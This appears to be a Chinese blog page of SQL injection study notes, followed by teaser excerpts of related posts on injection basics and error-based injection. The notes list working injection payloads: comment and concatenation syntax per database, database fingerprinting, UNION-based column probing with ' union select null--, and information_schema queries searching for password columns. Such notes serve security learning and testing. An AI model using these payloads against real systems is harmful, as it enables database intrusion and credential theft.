注釋:-- (含空格)或#
注入字串:
1、『2、』『
3、連線符:mysql:』 『a(空格)
oracle:'||'a
ms-sql:'+'a
注入數字:
1、表示式
2、sql關鍵字表示式:67-ascii(『a』)
3、單引號被過濾時,基於必要時的隱式轉換:51-ascii(1)
ps:url編碼:
1、&:%26 =:%3d
2、空格:+或%20
3、+含義用%2b編碼
4、;用%3b不表示分隔cookie欄位
注入查詢結構:
1、對於order by結構,提交1,2,3,。。。且此結構可知道查詢結果共多少列
2、1 asc
1 desc
不接受union,where等關鍵字,用巢狀查詢代替引數
區分資料庫方式:
oracle:bitand(1,1)-bitand(1,1)
ms-sql:@@pack_received-@@pack_received
mysql:connection_id()-connection_id()
mysql處理行內注釋:
/*!32302 and 1=0 */
如上,以!開頭,接資料庫版本資訊,則若實際版本高於或等於注釋中的版本,注釋中內容解釋為sql
union組合的列,列數必須相同,且資料型別相容;null可以轉換為任何資料型別,佔據一列,未知資料型別可以用null填充
確定列數:
1、用order by語句
2、' union select null--
' union select null,null--
直到出現查詢結果
確定字串列:
確定列數後,將上面確定列數的注入語句其中乙個null改為字串『a』,迴圈測試所有列
ps:oracle每個select語句必須有from,可用全域性表dual
提取資料庫版本:
ms-sql,mysql:@@version,version()
oracle: select banner from v$version
user()可以提取連線資料庫的使用者名稱
database()提取資料庫名稱
提取有用資訊:
利用元資料庫information_schema:
1、information_schema.columns:所有資料庫表名和列名,table_name,column_name
ps:可以查詢特定有用資訊,利用where子句 select table_name,column_name from information_schema.columns where column_name like '%pass%'
2、information_schema.schemata:資料庫名稱。schema_name
ps:連線查詢結果列:oracle: table_name||':'||column_name
ms-sql:table_name+':'+column_name
mysql: concat(table_name,':',column_name)
SQL的一些筆記
強大的字串搜尋功能 regexp 例如 搜尋名字中含fiels的人,可用 1.select from table where name like fiels 2.select from table where regexp fiels 上面這個還看不出來功能的強大。接下來我們搜尋名字以fiels開頭...
關於sql注入的一些理解
什麼叫做sql注入?sql注入算是一些不法分子的攻擊手段,通過sql語句來實現無賬號密碼登入及其他操作。比如在乙個需要登入的介面 賬號輸入成這樣的話,密碼可以隨意,那麼能很輕易的登入進去。因為在這條sql執行的時候,後台的sql語句生成會出現 select from table where user...
SQL注入之報錯注入的一些隨筆
關於報錯注入的話雖然我在我之前的文章裡面寫了一些,但是sql注入的姿勢實在是太多了。之前寫過的payload不全也不系統。今天抽出時間來總結一下。ps 關於報錯注入的原理和使用的基本函式我在我之前的文章 sqli labs修煉筆記 二 中已經詳細說過了,如果不懂可以去看看。ps的ps 這裡以sqli...